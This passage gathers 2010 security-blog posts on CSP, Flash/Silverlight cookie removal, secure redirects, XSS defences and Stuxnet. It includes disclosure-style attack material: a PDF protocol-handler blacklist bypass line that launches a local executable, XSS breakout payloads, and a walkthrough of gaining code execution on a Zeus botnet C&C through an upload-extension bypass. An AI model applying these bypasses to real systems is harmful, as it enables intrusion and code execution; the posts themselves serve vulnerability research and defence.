This would allow a site owner to enforce significantly more control over content she was serving from third parties. For example, content from an ad network could be limited to only the functionality required (e.g. a specific image source and inclusion method, and possible explicit JS functionality to allow the monkey to be punched) and any malware served through it would be fairly castrated. Likewise, one could include content like Google Analytics or the FaceBook like button, but prevent them from setting a cookie.

In summary, I am proposing a discussion be started on extending CSP to provide a more granular control and enforcement model and further extending it to allow the enforcement to extend to how a site-owner wants to include third-party content. I'm possibly being quite naive about all of this, and would love some feedback. Truthfully, I'm not sure what the next steps would be, but we need to invest more time into fixing the web, rather than just breaking it.
Adobe Flash LSO & Microsoft Silverlight LSO Cookies

Posted: November 22nd, 2010, 2:28pm CST

Tags: Security [edit]
I've been playing with ways of nuking evercookie-style identifier dropping (note: killing the evercookie specifically is silly, I'm aiming for unknown reimplementation too) and have worked some stuff out about LSOs. LSO are Local Storage Objects, they are ways Flash and Silverlight can store info on your machine rather than the remote server. The most common uses appear to be to drop an identifier, which behaves in exactly the same way as a cookie, or to store preferences (e.g. youtube volume settings).

The following information pertains to OSX, I'll get to other OS'es but I imagine their implementations won't vary greatly.

On OSX, three locations are relevant for these:
1. /Users/<username>/Library/Preferences/Macromedia/Flash Player/#SharedObjects/<8 random alphanumeric characters>
2. /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/
3. /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<8.3 random alphanumeric>/<8.3 random alphanumeric>/1/
The first is where Adobe Flash LSOs are stored, the second is where site-specific Flash configurations are stored and the final is where Microsoft Silverlight LSOs are stored. Adobe LSO's are stored in files with the .sol extension. Silverlight uses a more complex storage mechanism and stores the data in a series of .dat & .txt files.

At first I played with just nuking everything with a recursive force delete. This will clear out anything in the LSO stores. You can even safely go as high up the directory tree as to exclude the <random dirs> e.g. rm -rf /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/*. However, this will not prevent future LSOs from being set. This will help provide anonymity (from techniques using these identifiers) between each clearing out, but not during, and frankly isn't good enough.
Next, I wanted to prevent them from being re-set. So, I looked at disabling the top-level storage directories by removing all permissions, but that causes undefined behaviour including Safari crashes and Flash/Silverlight universally not running. But Adam Shostack has helpfully sent me a script he had created which deleted the files, recreated blanks, and removed permissions. So, I set about experimenting with that. What I found was that while this works fine for Silverlight, it doesn't for Flash. Flash happily ignores the permissions and just overwrites the file (no symlink vuln here, I checked). Ok, so I then tried linking them to /dev/null, same thing, works for Silverlight, but Flash just sets them back. In some cases, Flash will even go so far as to temporarily use different file extensions to write the files, and move them over to the original once they're available again. Is it just me or is that overly persistent? I eventually worked out, by actually looking at Adam's code, that changing perms or symlinking to /dev/null on the directory containing the .sol rather than the .sol itself works. However, even then, the browser seems to still be able to create temporary LSOs in memory that persist until refreshed.

I eventually decided using the programs' own configuration options was probably the best way. Both Flash and Silverlight have a configuration option to limit the storage of LSOs. Flash uses the settings manager to modify the file /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/settings.sol By flipping the second byte after the "allowThirdPartyLSO" keyword you can manually set the setting. I opted to just generate a good settings.sol that I could overwrite the existing one with, which allows changes in this file to be easily managed by just regenerating a new one. Silverlight is much easier; you can either use the built-in settings manager by right-clicking in any Silverlight app, or create a blank file in /Users/<username>/Library/Application Support/Microsoft/Silverlight/is/<random 8.3>/<random 8.3>/1/disabled.dat . Setting both of these permanently, and more robustly, disabled LSOs for both system.

However, one issue remains. Even with this setting, Flash still creates an entry is directory (2) above, to allow site-specific configurations items to be stored. This setting inherits from the global config, and won't allow custom data to be stored if all 3rd party LSOs are blocked. This setting is stored in /Users/<username>/Library/Preferences/Macromedia/Flash Player/macromedia.com/support/flashplayer/sys/#<domain.name>/settings.sol in the second byte after the "allow" keyword. This certainly provides some useful info for forensic investigators: any time a user with all Flash local storage settings off and all privacy settings on visits a flash page, an entry will be created in the location above. You can't clear this from within the browser without the help of an extension which deletes the files. Also, less worryingly, Silverlight's file needs to be placed in the unique random directory structure that's created, which means a unique identifier persists. The solution there was just to change the directory name randomly, which Silverlight happily rolls with, and another UID bites the dust.

In short, the article above describes the best way to permanently disable LSO storage in Flash & Silverlight, and what not to try. The end result should be, that the evercookie won't be able to use them as locations. However, neither will legitimate applications. For the most part, this doesn't appear to break anything, as mostly apps store preference data, but there must be a few apps it will break. The solution to that will be detailed with some of the other, more interesting evercookie work at a later stage.

ha.ckers.org web application security lab

Cheating Part 2

Posted: November 21st, 2010, 4:16pm CST by RSnake

Tags: Random Security [edit]

5 posts left…

So my Wife decided that she loves to play that game “Words with Friends” on the iPhone. It’s basically just like Scrabble but probably for legal reasons it’s just slightly different (bonus placement, tile value, etc… are different). Unfortunately for me, my Wife is scary smart and knows the English language far better than I. So I’m at a huge disadvantage when playing games that involve words or spelling. The only thing I’m good at is the math part, figuring out what the highest scoring word is… oh, yeah, and cheating. Well after a few dozen games, I kinda got fed up with the whole thing and started looking for ways to cheat. Sure, it’s probably talking an unencrypted protocol and it’s probably doing most of it’s validation checks on the client side, but my Wife is going to notice if I start using words that aren’t words.

So I start thinking about writing a tool that brute forces through the dictionary and attempts each word in a simulator to see if it’ll fit. Then the idea starts taking shape in the form of a program that starts tabulating which letters are worth what, and where the various double and triple word scores are in relation, etc… It grows in complexity further and further until I finally decide that I had better test it before I go much further. So on my first trial run it picks the word, “exine”. Okay, whatever, I plug it in and it works as expected. My Wife was on chat with me at the same time and instantly she writes, “Wtf is exine? You’re cheating.” So at this point I look up the word and sure enough it’s defined as “the outer coat of a spore, esp. a pollen grain” to which she write, “You totally cheated. You are so not a botanist. Spore my ass. Your mom is the outer coat of a spore. I don’t believe it for a second that you knew that word before playing it.”

Alas, all that work and she called me out the VERY first time I tried out my program. Of course in hindsight I should have parsed apart every word I had ever written in the blog or in my books and compared them against the dictionary to only use words that I was guaranteed to know. Such a waste. So I never got to try my other theories, about how to play defensively. For instance when I know there’s only a certain number of letters left in the deck of tiles, I can figure out which characters she can have left and the probability of which words she can play.

It would have been fun to create a contest to see which strategies are the most effective in a bot on bot scenario. Is an all defensive strategy better, or an all offensive (always opportunistically taking the highest value word)? Or maybe a hybrid of both where you play defensively at some points or offensively when you know it’s better in the long run. Anyway… unlike the previous cheating at Casino night it was not a very successful attempt. Like I said, my Wife knows that I cheat - she knows her adversary way too well. You win some, you lose some, I guess. That’s what I get for not marrying a bimbo.

Justice League

Securing URL Redirects

Posted: November 1st, 2010, 2:03pm CDT by Guest

Tags: Software Security [edit]
(This is a guest post by Cigital consultant Mike Ware. The original post appeared on his blog, good code, secure software.)

Can attackers control URL redirection functionality exposed by your application?

Unvalidated Redirects and Forwards is #10 on the 2010 OWASP Top Ten 10 List. Sites that are vulnerable often expose a servlet or server-side script that constructs the URL being transferred to using data that is received from the client (i.e., something that can be controlled by an attacker). A lot of sites simply accept a URL as input to the redirection script, and that’s what gets them into trouble.

Redirection utilities are often used as a convenient way of sending users from one part of an application to the next, perhaps across an integration point in the architecture where two disparate systems must talk (e.g., portal) or during error handling when something goes wrong. Typically, when these vulnerabilities are identified, the general advice is to remove the functionality. However, in complex environments, it’s not so easy to answer questions related to exactly which apps/components use the redirection utility and under what circumstances.

If the redirection utility must stay in the architecture, some tactic must be used to ensure that the utility transfers to a trusted domain. In order to transfer to a trusted domain, a list of domains that are considered trustworthy within the application’s deployment scenario must be compiled. Building that list may be challenging, but it’s a valuable exercise and is worth it in the end – it forces architects to understand how the app talks to other systems.

So how do you design a secure redirection utility?

Once you have identified a “whitelist” of trusted domains, put the list in a configuration file on the server or database. From a secure coding perspective, the redirection servlet or script should not take a URL as a parameter. Instead, require that the servlet accepts an index that maps to the list of trusted domains.

Here’s an example of a redirection utility that accepts an index as input rather than a URL:
```
http://mikeware.us/util/redirector?redirect=1
```
The redirection utility should take the index as a parameter, validate that it is an acceptable index, and use it to lookup the trusted URL. This tactic of indirection never exposes the list of trusted URLs to the user and doesn’t give an attacker the ability to influence construction of the URL (i.e., destination). I like to offer this tactic as guidance because there are several pitfalls to validating that a URL is trusted; it’s much easier to validate an integer index.

Here’s a really simple class that demonstrates how this can be implemented.
```
public class RedirectWhitelistFix {

        public final static List trustedURLs;

        /*
         * List of trusted URLs. In a real app,
         * probably want to store this server-side
         */
        static {
                trustedURLs = new ArrayList();
                trustedURLs.add("http://mikeware.us");
                trustedURLs.add("http://cigital.com");
        }

        /**
         * Use an index to lookup and return a trusted URL. Assume
         * the list of trusted URLs are stored securely server-side.
         *
         * @param index         Index value to use to lookup URL. Assume this value
         *                                      can be controlled by an attacker
         * @return                      The trusted URL
         */
        public static String getTrustedURL(String index) {
                String redirectTo = "";
                int whitelistIndex = -1;

                try {
                        // Check that index is an integer, fail securely when not
                        whitelistIndex = Integer.parseInt(index);

                        // Use the index to lookup the URL relying
                        // on the get method's list bounds checking
                        redirectTo = trustedURLs.get(whitelistIndex);

                        // Perform authorization and other checks
                        isUserAuthorized(redirectTo);

                } catch(NumberFormatException caught) {
                        handleInvalidIndex(caught);
                } catch(IndexOutOfBoundsException caught) {
                        handleInvalidIndex(caught);
                }

                return redirectTo;
        }
}
```
Of course, in addition to validating the index and performing the URL lookup, you’ll also going to want to execute checks to make sure the user is authorized to enter/access the URL.

This is a post from the good code (GC) labs, a library of software security tests cases. Check out the source code for this post here.

The Spanner

Preventing social network worms

Posted: October 28th, 2010, 8:32am CDT by Gareth Heyes

Tags: Security [edit]

I woke up yesterday morning and had a sudden flash of inspiration to stop all social network worms. I dunno why I wasn’t even researching them, I’ve no idea how my mind works it’s funny like that. Anyway sometimes I have bad ideas and sometimes they’re good. I like to discuss them all because that’s what an idea is, something to discuss.
The concept, asta la vista wormy
So the concept works like this, you have a social network crawler client/server side that acts as a normal user it could even masquerade as an existing friend. This crawler continuously goes to different accounts with the goal of being exploited. Once the crawler is infected with some XSS code, it proceeds to follow whatever method the attacker uses to propagate the code but instead of posting an update, adding a friend or updating it’s profile it logs the results and freezes the originating account.

The special crawler account must look and act like a normal user but normal user functionality is replaced by logging, think of it as a robot administrator I like to call them Terminators. Depending on the type of social network you could either prevent all new updates from happening until the flaw is closed or simply crawl the history of that user until all have been enumerated and repeat.

Crawling intervals could be changed depending on your requirements and you could specifically target accounts to crawl for example “user a” is posting 3 updates every minute or “user b” friend count is increasing every x minutes etc you get the idea.

Once the terminator encounters an infected account it is effectively mission accomplished as the site has a XSS worm but importantly you have some vital information, you know which page the infection occurred and the account is originated from and the method used to infect. I’d disable the site functionality here and place a maintenance message or something. You could continue crawling and try and find more infected accounts but you are always fighting against the time your crawler(s) takes to enumerate all accounts.

You may have noticed that I said “masquerade as an existing friend” this is because I already thought of a way to bypass detection by using worm code to detect if the crawler is a valid account or not. You need to make sure that these crawler accounts appear to be real in every way.

To create a crawler server side you’d need to use a server side js parser and browser environment depending on the complexity of your site you might find it easier to create a network of VM’s and Selenium and run everything client side. Designing a crawler user account would also have to be done carefully, each operation needs to be intercepted and logged, the account itself shouldn’t be able to authenticate and even if compromised shouldn’t allow any operation other than to freeze the account where it was compromised from.

I HEREBY PLACE THIS IDEA IN THE PUBLIC DOMAIN

Justice League

Technology Transfer: Static Analysis Enters the Main Stream

Posted: October 26th, 2010, 9:54am CDT by gem

Tags: Software Security [edit]

At Cigital we have always been concerned with moving software security into the main stream. One obvious way to do this is through technology transfer. I am particularly proud of the role that Cigital has played getting security-focused static analysis out into the “main stream.” Now that IBM owns Ounce and HP owns Fortify we should see significant uptake of the technology worldwide.

My informIT column this month is a case study that follows a technology from Cigital Labs, through Kleiner Perkins and Fortify to the mainstream. As you will see, technology transfer is hard and it takes serious time and effort. In the case of code scanning technology, the effort took two companies, millions of dollars, serious silicon valley engineering and ten years.

Read all about it here.

Your comments and feedback are welcome.

Billy (BK) Rios

PDF RCE et al. (CVE-2010-3625, CVE-2010-0191, CVE-2010-0045)

Posted: October 18th, 2010, 1:00pm CDT by xssniper

Tags: Security [edit]

A few weeks ago, Adobe released an advisory for a ton of Acrobat Reader bugs. Buried in the long list of Acrobat Reader bugs was a patch for a vulnerability I reported to Adobe. Taking a look at the entry in the advisory, we see the following description:

(CVE-2010-3625)

This update resolves a prefix protocol handler vulnerability that could lead to code execution

What’s interesting is many months ago (in April 2010), Adobe released a similar patch for a different bug I had reported to them. The description from April’s advisory is as follows:

(CVE-2010-0191).

This update resolves a prefix protocol handler vulnerability that could lead to code execution

Going back even further, there is an Apple advisory that has a bug with a description similar to the Adobe advisories:

CVE-2010-0045

Description: An issue in Safari’s handling of external URL schemes may cause a local file to be opened in response to a URL encountered on a web page. Visiting a maliciously crafted website may lead to arbitrary code execution.

I’ll walk you through the latest PDF bug, but the symptoms for all the bugs are very similar. As you know, PDF Reader supports the use of JavaScript. One of the JavaScript APIs supported by Acobat Reader (>7.0) is app.launchURL(). app.launchURL() takes two parameters, the URL to be opened and a flag that specifies whether the URL should be opened in a new window. Typical usage of app.launchURL() looks something like this:

app.lauchURL(“http://www.google.com” , false);

Simple enough. Naturally, when a string that looks like URI is encountered one of the first things that’s attempted is to point the URI value to a file:// location and observe whether the local file is opened. In this case, access to file:// is blocked by Adobe reader. Next up are arbitrary protocol handlers. Tests for [mailto:], foo://, bar:// all work, however JavaScript:// seems to be blocked. This feels like a protocol handler blacklist. I think there was a SouthPark episode about using blacklists last year…

There is a simple way to bypass most protocol handler blacklists. This bypass was the key to CVE-2010-3625, CVE-2010-0191, and CVE-2010-0045. The trick is to simply append a “URL:” prefix protocol handler to your URI. You can test this by opening Internet Explorer (IE8 on Win7) and typing “url:javascript:alert(1)”. I must give credz where credz are due. I first learned of this prefix protocol handler when looking at the source code for HTMLer (which is a port of MangleMe).

With the prefix protocol handler in hand, we’re all set to bypass the protocol handler blacklist:

app.launchURL(“url:file://c:/windows/system32/calc.exe”, true);

There is some weird shell behavior here (which I won’t get into), but the key pieces are (as far as this bug is concerned): the url: prefix protocol handler and setting the “New Window” flag to true. A link to a simple PoC is provided below. This bug worked on Win7 with no prompts. For some users, this bug will not work if IE is already running (must be launched from a browser other than IE). For users without Adobe’s April patch, this bug should work on all browsers in most configurations.

[xs-sniper.com]

There you go, a simple yet effective way to bypass a protocol handler blacklist. I hope that knowledge of this prefix protocol handler provides that missing piece you needed. Happy hunting.

The Spanner

New Hackvertor upgrade

Posted: October 14th, 2010, 12:11pm CDT by Gareth Heyes

Tags: Security [edit]

It’s been a while for a Hackvertor update, you might have noticed that the old one hasn’t changed in a while. This is because I’ve finally moved it over to the new one with a bunch of new features. I’ll give you a run down of the new tags and features I’ve added. I still have to create the DOM integration using my DOM api I wrote a while ago but this shouldn’t be long, it will allow cool things like building Hackvertor apps that become part of the interface and create real time stuff like IM clients that read current logged in users. In other words Facebook for Hackers.
New features Natural language conversion
Sometimes it’s a pain to add tags or find which ones you’re after so I decided to create a simple natural language processor that allows commands like “Convert this to hex then octal and hash it with md5″ and it will build the tags for you. You type into the natural language conversion box, then enter some input select the input if you like then instead of clicking the normal convert button you click the one in the natural language box. Other sentences samples include: “decode hex”, “decode but I can’t remember what it is”, “please hash it with md5″ you get the idea.
New tags
Unicode character lookup is pretty cool:-
Enter some input and click unicode_lookup in web services and it will show information about the character. demo

Perform js code on each piece of a string, this replaces the old functionality of hex2dec etc
JS str

Dom injection generator, takes the allowed characters inside the tag and builds a dom injection based on those characters:-
Dom generator

Find the coordinates of a location:-
Find cords

More of this stuff in the new “web services section”.

I’ve also started to create a SQLi section thanks to @lighos’s excellent SQLi cheatsheet
Execute some code
There is also a new “execute” section which will call ideone’s excellent API and execute code in various languages like assembler, perl, php, python, smalltalk, scheme even whitespace if you must.

PHP
Assembly
Javascript console features
I’ve also upgraded the inspector to use my astalanumerator along with some new button to “execute fresh javascript” this will allow you to call some javascript without retaining any variables that you have created. The output console will also keep a history of any javascript or html you’ve executed and save it to localStorage, this can be accessed by using the “<” and “>” to go forward and backwards in your history, pretty cool if you’ve copied and pasted something but the browser crashes or you forget to save it. It can be cleared by using the “clear history” button.

There are other new tags but I didn’t really want the blog post to go on forever, oh and if you think something is missing from the old one instead of moaning at me why not write the functionality back create some tags!
String replace JavaScript bad design

Posted: September 27th, 2010, 6:13am CDT by Gareth Heyes

Tags: Security [edit]
After using JavaScript for a while one of the worst parts I found was the String.replace function. When I realized it’s behaviour I thought to myself someone is going to use this wrong. The function itself is excellent, I use it all the time as you could probably tell with my code. It is far better than some other languages with the ability to use strings/regexes and provide a function callback for the replacement.

But…it’s default behaviour is designed badly. When using replace most developers assume it works in global mode and the characters you intend to replace will all be replaced. Consider the following pitfall:-

alert(':::'.replace(':',''));//only one : is replaced!

What do you expect? No colons? You are not alone. Unfortunately by default replace assumes you only want to replace one character. Don’t ask me why.

To counteract this Mozilla decided to add a third argument! This is even worse! It makes is even more confusing. Now we have a function that accepts three arguments, first a string/regex, second a string/function and third a flag for the string replacement. We then have a situation where the replacement is global on Firefox and not on every other browser and to top it off, if you use the third flag with a regexp then the regexp won’t of course be global thus adding yet more confusion!

alert(':::'.replace(':','','g'));//replaces all ":" on Firefox but not on other browsers alert(':::'.replace(/:/,'','g'));//replaces one ":" as the flag only works for strings.

A huge mess I’m sure you’ll agree, IMO the replace function should work globally by default for string arguments with the option to match only once if for some crazy reason it is needed.

The correct way of doing a global replacement is to use regexes because strings don’t even allow you to do a global replacement on all browsers!

alert(':::'.replace(/:/g,''));//The correct way

Finally here is a patch that you can use to prevent your developers making the same mistakes a certain social network made.
```
String.prototype.replace = (function(r){
 return function(find, replace, replaceOnce) {
     if(typeof find == 'string' && !replaceOnce) {
       find = r.apply(find, [/[[]^$*+.?(){}\-]/g,function(c) { return '\'+c; }]);
       find = new RegExp(find, 'g');
     } else if(typeof find == 'object' && !replaceOnce && !find.global) {
       find = new RegExp(find.source, 'g');
     }
     return r.apply(this, [find,replace]);
 }
})(String.prototype.replace);
alert('aaaabbbbb'.replace(/a/,''))
```

Billy (BK) Rios

Turning the Tables – Part I

Posted: September 27th, 2010, 6:00am CDT by xssniper

Tags: Security [edit]
Boom… I’ve just taken over a Zeus C&C. I fire up a second, clean VM just to verify… yup it works. Ok, now what?

A while back, I came across a kit for setting up a Zeus botnet. It was an interesting package. Looking at the C&C, bot builder, the actual bot, and user manual was pretty cool (yes, it comes with a user manual). You have to admire the some of the tricks used by the bot, these guys are clever. I set up a mini-botnet on a testing network and began to examine how the botnet worked. Eventually, I came across some bugs (even a blind squirrel finds a nut every once in a while). There are some fascinating things to consider when finding bugs in software that is used primarily by criminals, but I won’t bore you with that now. Instead I’d like to share with you some of the more interesting parts of my research.

Before I proceed, there are a few things I’d like to state:
1. This research was done on my own time on my own equipment. The thoughts on my blog are my own.
2. Disclosure of this issue is a bit tricky. I’ll cover some of the issues I came across in a future post.
3. I’m releasing the details of my work because I felt it was important for the public to have this knowledge to better defend their networks.
4. All the work presented here is for academic and research purposes only.
In the spirit of responsible disclosure I contacted security@zeus.com and informed them that I may have discovered a security issue with their C&C server software. The Zeus.com team informed me that they were a cloud service provider and didn’t have C&C software. Zeus.com then proceeded to spam me with advertisements for their latest products. I then contacted security@botnets-r-us.ru but received no response. Botnets-r-us.ru then proceeded to spam me with Viagra ads and executables for me to download. With no other alternative and an email inbox full of spam, I have no choice but to provide full disclosure of the vulnerability to the public.

Taking a look at the documentation that accompanies the Zeus package, I see change log indicates that I’m working with a recent version of Zeus (likely released earlier this year).

Examining the source code from the C&C confirms that I’m working with version 1.3.2.1, which was released on January 15th of this year.

I haven’t tested this exploit against newer versions of the C&C, but this post should provide everything you need to check yourself. If you do happen to have a newer version of the C&C code (or kits from other botnets), please contact me (xssniper -at- gmail) I’d love to have a look. I looked on the Internetz to see if someone else had discovered this, but I found nothing. If this bug was previously disclosed and I failed to credit you, please let me know (I don’t follow the bot scene very closely).

The C&C software has a PHP based web application that provides a control panel for botmasters and also serves as a gateway for bot communication. There are several websites that have described the C&C so I won’t spend much time on that here, but I do feel it’s important to touch on a few things. When the C&C web application is installed, very little attack surface is exposed to unauthenticated users. The two most interesting pages available to unauthenticated users are the login page and the gateway. By default, the login page is located at /cp.php. By default, the gateway is located at /gate.php. Some botmasters rename the gate.php file, however if you’ve managed to capture a live Zeus bot it will phone home to a php file. The php file that the bot phones home to is the gateway (gate.php). For clarity, let’s assume the gateway is at /gate.php (the default). The gateway will only respond to requests from bots. For example, if you point your browser to /gate.php, you’ll get a blank page back:

Luckily, we have both bot samples and the source for the C&C, allowing us to reverse the protocol needed for communication to the gateway. Let’s walk through a couple key pieces of the gate.php source. First, the gateway requires a POST request.

if(@$_SERVER['REQUEST_METHOD'] !== ‘POST’)die();

require_once(‘system/global.php’);

require_once(‘system/config.php’);

If the gateway receives a POST request, it grabs the POST body, performs some basic validation, and then decrypts the data using the RC4 algorithm.

$data = @file_get_contents(‘php://input’);

$data_size = @strlen($data);

if($data_size < HEADER_SIZE + ITEM_HEADER_SIZE)die();

$data = RC4($data, BOTNET_CRYPTKEY);

This is not a typical POST request with POST parameters in the body. Instead, this POST request contains a binary blob as its POST body (there are no POST parameter names). The last line in the code snippet provided above mentions RC4 and a PHP constant named BOTNET_CRYPTKEY. In case you’re wondering, the RC4 key (BOTNET_CRYPTKEY) is set by the botmaster when setting up the C&C and is stored server side (in the /system/config.php file). As RC4 is a symmetric algorithm, the bot must also have a representation of the key. The key is embedded into the bot (supplied via configuration file). So once you have captured a live bot, you’ll be able to extract the RC4 key. The key can be extracted from memory or if you are able to decrypt the config.bin file, you’ll see the key passed as part of the configuration for the bot. If you’re interested in doing this, check out threatexpert.com. Worst case, you can try brute forcing the key.

Once the data is decrypted, the gateway does a quick sanity check.

if(strcmp(md5(substr($data, HEADER_SIZE), true), substr($data, HEADER_MD5, 16)) !== 0)die();

and proceeds to unpack the data if the sanity check turns out ok

$list = array();

for($i = HEADER_SIZE; $i < $data_size;)

{

$k = @unpack(‘L4′, @substr($data, $i, ITEM_HEADER_SIZE));

$list[$k[1]] = @substr($data, $i + ITEM_HEADER_SIZE, $k[3]);

$i += (ITEM_HEADER_SIZE + $k[3]);

}

unset($data);

Once the data is unpacked, we will have an array ($list[]) populated with various configuration and log data being passed from the bot to the C&C. Using what we’ve discovered thus far, we can create a fake bot that is capable of communicating with the C&C. Depending on the values held in the $list array, the gateway executes various functions. One of the functions I found interesting was this:

else if(!empty($list[SBCID_BOTLOG]) && !empty($list[SBCID_BOTLOG_TYPE]))

{

$type = ToInt($list[SBCID_BOTLOG_TYPE]);

if($type == BLT_FILE)

{

//Расширения, которые представляют возможность удаленного запуска.

$bad_exts = array(‘.php3′, ‘.php4′, ‘.php5′, ‘.php’, ‘.asp’, ‘.aspx’, ‘.exe’, ‘.pl’, ‘.cgi’, ‘.cmd’, ‘.bat’, ‘.phtml’);

$fd_hash = 0;

$fd_size = strlen($list[SBCID_BOTLOG]);

//Формируем имя файла.

if(IsHackNameForPath($bot_id) || IsHackNameForPath($botnet))die();

$file_root = REPORTS_PATH.’/files/’.urlencode($botnet).’/’.urlencode($bot_id);

$file_path = $file_root;

$last_name = ”;

$l = explode(‘/’, (isset($list[SBCID_PATH_DEST]) && strlen($list[SBCID_PATH_DEST]) > 0 ? str_replace(‘\’, ‘/’, $list[SBCID_PATH_DEST]) : ‘unknown’));

foreach($l as &$k)

{

if(IsHackNameForPath($k))die();

$file_path .= ‘/’.($last_name = urlencode($k));

}

if(strlen($last_name) === 0)$file_path .= ‘/unknown.dat’;

unset($l);

//Проверяем расширении, и указываем маску файла.

if(($ext = strrchr($last_name, ‘.’)) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= ‘.dat’;

$ext_pos = strrpos($file_path, ‘.’);

//FIXME: Если имя слишком большое.

if(strlen($file_path) > 180)$file_path = $file_root.’/longname.dat’;

//Добавляем файл.

for($i = 0; $i < 9999; $i++)

{

if($i == 0)$f = $file_path;

else $f = substr_replace($file_path, ‘(‘.$i.’).’, $ext_pos, 1);

if(file_exists($f))

{

if($fd_size == filesize($f))

{

if($fd_hash === 0)$fd_hash = md5($list[SBCID_BOTLOG], true);

if(strcmp(md5_file($f, true), $fd_hash) === 0)break;

}

}

else

{

if(!CreateDir(dirname($file_path)) || !($h = fopen($f, ‘wb’)))die();

flock($h, LOCK_EX);

fwrite($h, $list[SBCID_BOTLOG]);

flock($h, LOCK_UN);

fclose($h);

break;

}

}

}

A quick look at the function above shows that if $list[SBCID_BOTLOG] and $list[SBCID_BOTLOG_TYPE] are set to the correct values, we can trick the C&C into thinking we have a bot that needs to upload a logfile. Before the C&C accepts our supplied logfile, it first attempts some validation by checking to see if the file extension we’re providing is in a blacklist of “bad extensions” and whether the filepath supplied is “IsHackNameForPath” (a custom validation routine written by the C&C author).

$bad_exts = array(‘.php3′, ‘.php4′, ‘.php5′, ‘.php’, ‘.asp’, ‘.aspx’, ‘.exe’, ‘.pl’, ‘.cgi’, ‘.cmd’, ‘.bat’, ‘.phtml’);

…<snip>…

if(($ext = strrchr($last_name, ‘.’)) === false || in_array(strtolower($ext), $bad_exts) !== false)$file_path .= ‘.dat’;

…<snip>

//Формируем имя файла.
if(IsHackNameForPath($bot_id) || IsHackNameForPath($botnet))die();

We know the web server supports PHP because the C&C web management console is written in PHP. If we can pretend like we’re a bot, convince the C&C that we have a “BOTLOG” that needs to be uploaded, and instead of uploading a “BOTLOG” we upload a PHP file with our PHP content, we could have arbitrary code execution on the C&C. It seems the C&C code protects against this attack… or does it? Unfortunately for the botmaster, the PHP interpreter is very liberal on extensions. Some examples of the quirky extension madness associated with PHP can be found on slide 23 in this presentation (given by Kuza55 at CCC 2007). In this case, I want to upload a PHP file to both IIS and Apache (the supported platforms for the C&C) so I use the trailing dot trick. All I have to do is append a trailing period to the end of the .php extension (.php.), and I can bypass the extension check yet have the file contents run by the PHP interpreter. Once the extension check is bypassed, the value I supplied for $list[SBCID_BOTLOG] is written as content to the file I specified on the webserver. Now I just have to guess where my PHP file was written. This line of PHP in the gateway source gives us a clue.

$file_root = REPORTS_PATH.’/files/’.urlencode($botnet).’/’.urlencode($bot_id);

The default location for the BOT LOG is: C&C-webroot_reportsfiles<Name of the botnet><Bot ID>

I also control (via values passed from my fake bot to the C&C) the two subdirectory names (in this example: “BKs_BOTNET” for <Name of the botnet> and “BK_PWNZ_UR_CnC” for <Bot ID>). If the botmaster is using a default install and hasn’t relocated the _reports folder, we should be able to simply guess where our PHP file was written to (/_reports/files/BKs_BOTNET/BK_PWNZ_UR_CnC/pwnd.php).

If the botmaster was smart and relocated the _reports folder, guessing where the uploaded PHP file becomes more difficult. We can take all the guesswork out by using some directory traversal tricks and planting the PHP file directly into the webroot.

Boom… we’ve just taken over a Zeus C&C. Once we have our own PHP code running on the C&C, we can include the /system/config.php file. Config.php contains the location of the MySQL database as well as the DB username and password (via connection string), giving us complete control over the management console and all the bots associated with this C&C.

For those interested in “studying” this vulnerability, I’ve put together a Proof of Concept. All you have to do is provide the location of the gateway (provided by the bot), the RC4 key (provided by the bot), and the PHP code that you want to upload.

The Spanner

XSS Zones

Posted: September 24th, 2010, 10:59am CDT by Gareth Heyes

Tags: Security [edit]

One of the impossible problems of the web is how do you protect against site that has a persistent XSS hole yet requires JavaScript to function. I thought about this for a while and worked out you could create a XSS zone where you expect user input. Declaring a zone is tricky because if you have a start and end marker the attacker can manipulate that with their markup and break out of the zone.

Lets take a look at some code as a reference:-
 Hello I am a twitter..I mean webgoat 

So we define a XSS zone where we allow untrusted input. The idea of the zone is that JavaScript, events, css is locked down or disabled stopping the worm or evil input from spreading or cause information disclosure. But now the attacker has a new string to inject <!– End XSS zone –><img src=1 onerror=alert(1)> and they have broken out of the zone.

The solution to this problem is to randomize the zone name:-
 Evil content 

Before the HTML is rendered the browser looks for XSS zone name, when it finds the first zone name it continues parsing the HTML until the matched ending zone is found. Any existing zones inside are ignored. The randomization of the zone name is generated on every request and are removed from the markup before render.

XSS zones would require a inbuilt JavaScript/HTML/CSS sandbox which would only allow harmless markup. Any input that is accepted from the user would have to be declared with a XSS zone and the feature would have a OFF/ON switch somewhere maybe HTTP header. The zones themselves could have a simple configurable attributes e.g. javascript=false css=false html=true urls=sameorigin.

Defining a zone could be done manually by generating a random name and outputting the HTML comment or the server side language could detect where variables are used and output the zone names automatically. Using HTML comments is interesting because they act as both a HTML and JavaScript comment enabling nice fallback.

One final way to enable XSS zones would be using the browser itself similar how Firebug and IE developer toolbar allow you to select DIVs and other elements, the advanced user could select an area of a site that they determine requires a XSS zone. The browser would then monitor this section of the site and automatically add a random XSS zone to the markup.
Configuration of zones
Zones should always follow the format of <!– Begin XSS zone RANDOMKEY CONFIGURATION_DATA –> and end with <!– End XSS zone RANDOMKEY –>

The configuration should be simple and precise. The following commands should be supported.
javascript=no|yes|domains*
css=no|yes|domains*
urls=sameorigin|domains|proxied*

* Domain list should be a whitelist only, no global wildcards allowed.
* Proxied should place all urls through a proxied service that obtains the image data or follows a link without sending cookie information and pre checked with a malware scanner.

That was the basis of my idea, if you like it implement it.

Justice League

Stuxnet p0wns the Physical World

Posted: September 24th, 2010, 8:56am CDT by gem

Tags: Software Security [edit]

If the code here (courtesy of Ralph Langner) looks unfamiliar, that means you’re probably not a process control engineer familiar with the Siemens Step 7 programming language. And if you are, software security is probably unfamiliar territory!

This code turns out to be the payload of the Stuxnet worm, meant to be injected into the Ladder Logic of a programmable logic controller (PLC). It is meant to disrupt a physical world process, impacting a control system with likely kinetic impact.

Stuxnet is a very sophisticated attack that is tightly targeted. It’s a weapon. To learn more about Stuxnet, read my informIT column “How to p0wn a Control System with Stuxnet”.

Software security goes well past web applications.

The Spanner

One vector to rule them all

Posted: September 15th, 2010, 4:37am CDT by Gareth Heyes

Tags: Security [edit]
I set myself a fun challenge to create a vector that would execute in many contexts. The idea being that it should work regardless where it’s placed. For example:-
```
"xss"
'xss'
<tag alt="xss">
